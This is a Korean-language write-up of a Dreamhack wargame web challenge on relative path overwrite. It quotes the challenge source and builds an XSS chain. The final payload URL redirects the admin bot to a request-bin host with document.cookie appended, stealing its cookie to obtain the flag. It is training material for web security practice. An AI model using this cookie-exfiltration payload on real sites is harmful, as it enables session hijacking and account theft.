Wargame - 웹

Relative Path Overwrite Advanced

김가윤 2023. 4. 19. 19:29

 

풀이

 

이번 문제는

이 문제와 비슷하지만

이번에는 filter.js가 /static에 위치해

경로 조작 공격이 어렵다.

https://dreamhack.io/wargame/challenges/439/

 

Relative Path Overwrite

Exercise: Relative Path Overwrite에서 실습하는 문제입니다.

dreamhack.io

 

소스

index.php

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite-Advanced</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
    <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>
</body>
</html>

vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter === 'undefined') {
        param = "nope !!";
    }
    else {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

report.php

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>

<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

404.php

<?php 
    header("HTTP/1.1 200 OK");
    echo $_SERVER["REQUEST_URI"] . " not found."; 
?>

 

 

다음과 같이 입력 후

개발자 도구로 살펴보니

index.php/static/?page=vuln&param=test 이 부분이

script 태그의 src 속성으로 들어가

이 소스 자체가 filter.js의 내용이 된다. 

http://host3.dreamhack.games:9995/index.php/static/?page=vuln&param=test

 

index.php/static/?page=vuln&param=test 부분을

index.php/;print();//static?page=vuln&param=test 수정하면

print() 호출이 가능하다.

 

위에서 ;print(); 뒤에

//static 이런 식으로 작성하는 이유는

자바스크립트는 오류가 있으면

전체 코드를 실행하지 않기 때문에

//(주석)을 통해 print; 뒷부분을 주석 처리해 주기 위해서다.

 

이를 이용하면

원하는 스크립트를 실행할 수 있다.

 

Request Bin에

요청을 보내는 데 성공

http://host3.dreamhack.games:17163/index.php/;location='https://varoydx.request.dreamhack.games/Ping-Back';//static/?page=vuln&param=test

 

document.cookie를 추가하고

/report 페이지에서 사용하면

FLAG를 얻을 수 있다.

index.php/;location='https://dfqwbni.request.dreamhack.games/'+document.cookie;//static/?page=vuln&param=test